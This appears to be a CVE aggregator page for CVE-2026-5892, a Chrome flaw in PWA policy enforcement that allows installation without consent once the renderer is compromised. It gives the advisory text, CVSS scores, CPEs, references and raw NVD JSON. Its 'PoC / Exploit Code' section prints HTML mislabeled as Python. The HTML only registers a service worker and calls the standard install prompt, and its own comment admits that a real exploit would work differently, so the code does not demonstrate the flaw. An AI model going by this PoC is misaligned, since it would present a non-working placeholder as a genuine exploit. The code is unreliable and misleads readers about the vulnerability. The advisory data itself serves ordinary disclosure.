CVE-2026-5892

Description

Insufficient policy enforcement in PWAs in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to install a PWA without user consent via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5892
Description: This HTML page attempts to trigger a PWA installation.
In vulnerable versions (Chrome < 147.0.7727.55), if the renderer process is compromised,
the user consent prompt may be bypassed via insufficient policy enforcement.
-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2026-5892 PoC</title>
    <link rel="manifest" href="data:application/manifest+json;base64,ewogICJuYW1lIjogIlBvQyBUZXN0IFBXQSIsCiAgInNob3J0X25hbWUiOiJQb0MiLAogICJzdGFydF91cmwiOiAiLi8iLAogICJkaXNwbGF5IjogInN0YW5kYWxvbmUiCn0=">
</head>
<body>
    <h1>PoC: Trigger PWA Installation</h1>
    <p>Attempting to install PWA without explicit user consent...</p>
    <script>
        // Register a dummy service worker to meet PWA criteria
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('sw.js').then(() => {
                console.log('Service Worker registered');
            }).catch(e => console.log('SW registration failed', e));
        }

        // Listen for the installation prompt
        window.addEventListener('beforeinstallprompt', (e) => {
            console.log('beforeinstallprompt fired');
            // Vulnerability Condition: If renderer is compromised, policy enforcement is insufficient.
            // The attacker can programmatically trigger the prompt or bypass the interaction check.
            e.preventDefault(); 
            // In a real exploit scenario, the code would proceed to install without UI.
            e.prompt(); 
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5892
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5892
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5892/
[4] VulDB https://vuldb.com/cve/CVE-2026-5892
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/487568011

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5892", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:29.083", "lastModified": "2026-04-14T17:06:16.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in PWAs in Google Chrome prior to 147.0.7727.55 allowed a remote attacker who had compromised the renderer process to install a PWA without user consent via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1268"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/487568011", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}